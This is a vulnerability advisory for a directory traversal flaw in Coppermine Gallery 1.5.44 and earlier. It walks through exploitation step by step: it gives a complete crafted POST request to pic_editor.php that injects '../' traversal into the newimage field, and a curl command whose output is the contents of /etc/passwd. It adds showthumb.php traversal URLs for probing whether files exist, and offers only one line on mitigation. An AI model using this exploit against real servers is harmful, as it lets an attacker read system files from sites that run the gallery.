Coppermine Gallery 1.5.44 Directory Traversal

Risk: Medium
Local: No
Remote: Yes

Coppermine Gallery <= 1.5.44 directory traversal vulnerability ============================================================== Coppermine is a multi-purpose fully-featured and integrated web picture gallery script written in PHP using GD or ImageMagick as image library with a MySQL backend. A directory travesal vuln exists within the "save_thumb" function of the "crop & rotate" image feature. This can be accessed from pic_editor.php. First upload a file, e.g. "hackerhouse.png" to an album. This will create a predictable file path location with your userid e.g: http://target/cpg15x/albums/userpics/10001/hackerhouse.png You will then send a POST request to pic_editor to manipulate this file but replace the "new_image" with the filepath you want to read such as "../../../../../etc/passwd". Your file will then by copied to a predictible path location as thumb. http://target/cpg15x/albums/userpics/10001/thumb_hackerhouse.png To exploit this vulnerability you will need to be able to register an account and upload files to a photo album. You do not need admin rights to exploit this flaw. All versions from cpg 1.4.14 to cpg 1.5.44 have been found vulnerable to this flaw. The coppermine configuration was tested with ImageMagick enabled, your mileage may vary with GD1.x/GD2.x. To protect against this exploit do not allow public registration requests and only allow trusted users to modify images. Example POST request ==================== POST /cpg15x/pic_editor.php HTTP/1.1 Host: target Content-Length: 802 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAE29AdEqShlpLpDF Accept: text/html, Accept-Language: en-GB,en-US;q=0.8,en;q=0.6 Cookie: <cookies> DNT: 1 Connection: close ------WebKitFormBoundaryAE29AdEqShlpLpDF Content-Disposition: form-data; name="clipval" 10 ------WebKitFormBoundaryAE29AdEqShlpLpDF Content-Disposition: form-data; name="newimage" ../../../../../../../../../../../../../../etc/passwd ------WebKitFormBoundaryAE29AdEqShlpLpDF Content-Disposition: form-data; name="img_dir" albums/edit/ ------WebKitFormBoundaryAE29AdEqShlpLpDF Content-Disposition: form-data; name="id" 1 ------WebKitFormBoundaryAE29AdEqShlpLpDF Content-Disposition: form-data; name="angle" 45 ------WebKitFormBoundaryAE29AdEqShlpLpDF 100 ------WebKitFormBoundaryAE29AdEqShlpLpDF Content-Disposition: form-data; name="save_thumb" Save as thumbnail ------WebKitFormBoundaryAE29AdEqShlpLpDF-- Example file download request ============================= $ curl http://targetip/cpg15x/albums/userpics/10001/thumb_hackerhouse.png root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync ... snip An additional directory traversal vulnerability is present in "showthumb.php" which can be used to stat() for the existence of files by reviewing the error returned. You must have sufficient rights to use this feature however. /cpg15x/showthumb.php?picfile=../../../../../../etc/passwd /cpg15x/showthumb.php?picfile=../../../../../../etc/non-existantfile -- Hacker Fantastic (

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